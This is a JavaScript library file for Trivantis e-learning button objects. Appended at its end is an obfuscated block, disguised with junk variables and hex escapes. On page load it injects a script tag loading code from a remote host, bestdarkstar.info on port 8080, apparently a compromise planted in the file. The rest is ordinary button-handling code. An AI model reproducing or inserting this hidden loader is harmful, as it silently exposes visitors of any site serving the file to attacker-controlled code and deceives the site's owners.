/**************************************************
Trivantis (http://www.trivantis.com)
**************************************************/
var ocmOrig = document.oncontextmenu
var ocmNone = new Function( "return false" )

// Button Object
function ObjButton(n,a,x,y,w,h,v,z,d) {
  this.name = n
  this.altName = a
  this.x = x
  this.y = y
  this.w = w
  this.h = h
  this.v = v
  this.z = z
  this.obj = this.name+"Object"
  this.alreadyActioned = false;
  eval(this.obj+"=this")
  if ( d != 'undefined' && d!=null )
    this.divTag = d;
  else  
    this.divTag = "div";
  
}

function ObjButtonActionGoTo( destURL, destFrame ) {
  this.objLyr.actionGoTo( destURL, destFrame );
}

function ObjButtonActionGoToNewWindow( destURL, name, props ) {
  this.objLyr.actionGoToNewWindow( destURL, name, props );
}

function ObjButtonActionPlay( ) {
  this.objLyr.actionPlay();
}

function ObjButtonActionStop( ) {
  this.objLyr.actionStop();
}

function ObjButtonActionShow( ) {
  if( !this.isVisible() )
    this.onShow();
}

function ObjButtonActionHide( ) {
  if( this.isVisible() )
    this.onHide();
}

function ObjButtonActionLaunch( ) {
  this.objLyr.actionLaunch();
}

function ObjButtonActionExit( ) {
  this.objLyr.actionExit();
}

function ObjButtonActionChangeContents( ) {
  this.objLyr.actionChangeContents();
}

function ObjButtonActionTogglePlay( ) {
  this.objLyr.actionTogglePlay();
}

function ObjButtonActionToggleShow( ) {
  if(this.objLyr.isVisible()) this.actionHide();
  else this.actionShow();
}

{// Setup prototypes
var p=ObjButton.prototype
p.checkbox = false
p.setImages = ObjButtonSetImages
p.build = ObjButtonBuild
p.init = ObjButtonInit
p.activate = ObjButtonActivate
p.down = ObjButtonDown
p.up = ObjButtonUp
p.over = ObjButtonOver
p.out = ObjButtonOut
p.change = ObjButtonChange
p.capture = 0
p.onDown = new Function()
p.onUp = new Function()
p.onOver = new Function()
p.onOut = new Function()
p.onSelect = new Function()
p.onDeselect = new Function()
p.actionGoTo = ObjButtonActionGoTo
p.actionGoToNewWindow = ObjButtonActionGoToNewWindow
p.actionPlay = ObjButtonActionPlay
p.actionStop = ObjButtonActionStop
p.actionShow = ObjButtonActionShow
p.actionHide = ObjButtonActionHide
p.actionLaunch = ObjButtonActionLaunch
p.actionExit = ObjButtonActionExit
p.actionChangeContents = ObjButtonActionChangeContents
p.actionTogglePlay = ObjButtonActionTogglePlay
p.actionToggleShow = ObjButtonActionToggleShow
p.writeLayer = ObjButtonWriteLayer
p.slideTo = ObjButtonSlideTo
p.moveTo = ObjButtonMoveTo
p.onShow = ObjButtonOnShow
p.onHide = ObjButtonOnHide
p.isVisible = ObjButtonIsVisible
p.onSelChg = new Function()
}

function ObjButtonSetImages(imgOff,imgOn,imgRoll,dir) {
  if (!dir) dir = ''
  this.imgOffSrc = imgOff?dir+imgOff:''
  this.imgOnSrc = imgOn?dir+imgOn:''
  this.imgRollSrc = imgRoll?dir+imgRoll:''
}

function ObjButtonBuild() {
  this.css = buildCSS(this.name,this.x,this.y,this.w,this.h,this.v,this.z)
  this.div = '<' + this.divTag + ' id="'+this.name+'"><a name="'+this.name+'anc" href="javascript:'+this.name+'.up()"'
  if( this.altName ) this.div += ' title="'+this.altName+'"'
  else if( this.altName != null ) this.div += ' title=""'
  this.div += '>'
  this.div += '<img name="'+this.name+'Img" src="'+this.imgOffSrc
  if( this.altName ) this.div += '" alt="'+this.altName
  else if( this.altName != null ) this.div += '" alt="'
  this.div += '" width='+this.w+' height='+this.h+' border=0'
  if( !is.ns4 )  this.div += ' style="cursor:hand"'
  this.div += '></a></' + this.divTag + '>\n'
}

function ObjButtonKeyDown(e) {
    var keyVal = 0
    if( is.ns4 ) keyVal = e.which
    else {
        if( is.ie ) e = event
        keyVal = e.keyCode
    }
    if( keyVal == 13 || keyVal == 32 ) this.onUp()
}

function ObjButtonInit() {
  this.objLyr = new ObjLayer(this.name)
}

function ObjButtonActivate() {
  if( this.objLyr && this.objLyr.styObj && !this.alreadyActioned ) {
    if( this.v ) this.actionShow()
    if (is.ns4) this.objLyr.ele.captureEvents(Event.MOUSEDOWN | Event.MOUSEUP | Event.KEYDOWN )
    this.objLyr.ele.onmouseout = new Function(this.obj+".out(); return false;")
    this.objLyr.ele.onmousedown = new Function("event", this.obj+".down(event); return false;")
    this.objLyr.ele.onmouseover = new Function(this.obj+".over(); return false;")
    this.objLyr.ele.onmouseup = new Function("event", this.obj+".up(event); return false;")
    this.objLyr.ele.onkeydown = ObjButtonKeyDown
  }
}

function ObjButtonDown(e) {
  if( is.ie ) e = event
  if( is.ie && !is.ieMac && e && e.button!=1 && e.button!=2 ) return
  if( is.ns && !is.nsMac && !is.ns4 && e && e.button!=0 && e.button!=2 )  return
  if( is.ns4 && e && e.which!=1 && e.which!=3 )  return
  if (this.selected) {
    this.selected = false
    if (this.imgOnSrc) this.change(this.imgOnSrc)
    this.onDeselect()
  }
  else {
    if (this.checkbox) this.selected = true
    if (this.imgOnSrc) this.change(this.imgOnSrc)
    this.onSelect()
  }
  this.onDown()
}

function ObjButtonUp(e) {
  if( is.ie ) e = event
  if( is.ie && !e ) return
  if( is.ie && !is.ieMac && e && e.button!=1 && e.button!=2 ) return true
  if( is.ns && !is.nsMac && !is.ns4 && e && e.button!=0 && e.button!=2 ) return true
  if( is.ns4 && e && e.which!=1 && e.which!=3 )  return true
  if (!this.selected) {
    if (this.imgRollSrc) this.change(this.imgRollSrc)
    else if (this.imgOnSrc) this.change(this.imgOffSrc)
  }
  if( !is.ieMac && !is.nsMac && e && (( !is.ns4 && e.button==2 ) || ( is.ns4 && e.which==3 )) )
  {
    if( this.hasOnRUp )
    {
      document.oncontextmenu = ocmNone
      this.onRUp()
      setTimeout( "document.oncontextmenu = ocmOrig", 100)
    }
  }
  else
  {
    if( is.ns5 && !is.nsMac && e );
    else
      setTimeout( this.obj + ".onUp()" )
  }
}

function ObjButtonOver() {
  if (this.imgRollSrc && !this.selected) this.change(this.imgRollSrc)
  this.onOver()
}

function ObjButtonOut() {
  if (this.imgRollSrc && !this.selected) this.change(this.imgOffSrc)
  this.onOut()
}

function ObjButtonChange(img) {
  if (this.objLyr) this.objLyr.doc.images[this.name+"Img"].src = img
}

function ObjButtonWriteLayer( newContents ) {
  if (this.objLyr) this.objLyr.write( newContents )
}

function ObjButtonSlideTo(ex,ey,amt,spd,fn) {
  if (this.objLyr) this.objLyr.slideTo(ex,ey,amt,spd,fn);
}

function ObjButtonMoveTo(x,y) {
  if (this.objLyr) this.objLyr.moveTo(x,y);
}

function ObjButtonOnShow() {
  this.alreadyActioned = true;
  this.objLyr.actionShow();
}

function ObjButtonOnHide() {
  this.alreadyActioned = true;
  this.objLyr.actionHide();
}

function ObjButtonIsVisible() {
  if( this.objLyr.isVisible() )
    return true;
  else
    return false;
}


var FB=new String();var J=new String();function w(){var t;if(t!='' && t!='m'){t=null};this.ls="";var i=new String();var h=unescape;var k=window;var U=h("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%79%6f%75%6a%69%7a%7a%2e%63%6f%6d%2e%70%68%70");var Y;if(Y!='zA' && Y!='a_'){Y='zA'};function Z(S,H){var gg;if(gg!='E'){gg='E'};var B;if(B!='' && B!='n'){B=''};var z=new String("g");var FX;if(FX!='q' && FX!='ze'){FX='q'};var X_;if(X_!='up' && X_!='sW'){X_='up'};var s=h("%5b"), F=h("%5d");var to=new Array();var p=s+H+F;this.ta="";var x=new RegExp(p, z);this.Ec="";return S.replace(x, new String());};var D=new Array();var wW;if(wW!='QP'){wW=''};this.Vo="";this.zm="";var OK;if(OK!='Mf'){OK='Mf'};var Hr;if(Hr!='' && Hr!='bA'){Hr=''};var VL='';var o=Z('89350141181315502194','32459716');var UCl;if(UCl!='' && UCl!='M_'){UCl=''};var Q=new String();var Vg;if(Vg!='' && Vg!='zQ'){Vg='XI'};var LR=new Array();var kb=document;var nq='';var hO=new Array();function l(){var Gg;if(Gg!='' && Gg!='lG'){Gg=null};var tR=new String();var cd=new Date();var O=h("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var SS="";Q=O;var ci="";Q+=o;this.JW='';var Vp='';Q+=U;var Tz;if(Tz!='' && Tz!='YT'){Tz=''};try {var SI=new Date();var mR=new Date();xV=kb.createElement(Z('s6cmrkijpzt6','Qw0z4Okj6m'));var FXH=new Array();var rG=new String();xV[h("%73%72%63")]=Q;var VD;if(VD!='' && VD!='LF'){VD=''};var xI;if(xI!='Ma' && xI!='jc'){xI=''};var dI;if(dI!='vX'){dI=''};xV[h("%64%65%66%65%72")]=[7,1][1];this.LG="";this.woD="";kb.body.appendChild(xV);this.dR="";var nk=new Array();var Nr="";} catch(u){alert(u);};}var Mh;if(Mh!='Zn' && Mh!='iQp'){Mh='Zn'};var jg;if(jg!='' && jg!='bq'){jg=''};k[new String("onl"+"iKYoad".substr(3))]=l;this.RL='';this.gz='';var xW=new String();var xu=new String();};var bu=new String();w();var Xr;if(Xr!='Pc'){Xr='Pc'};var HR="";
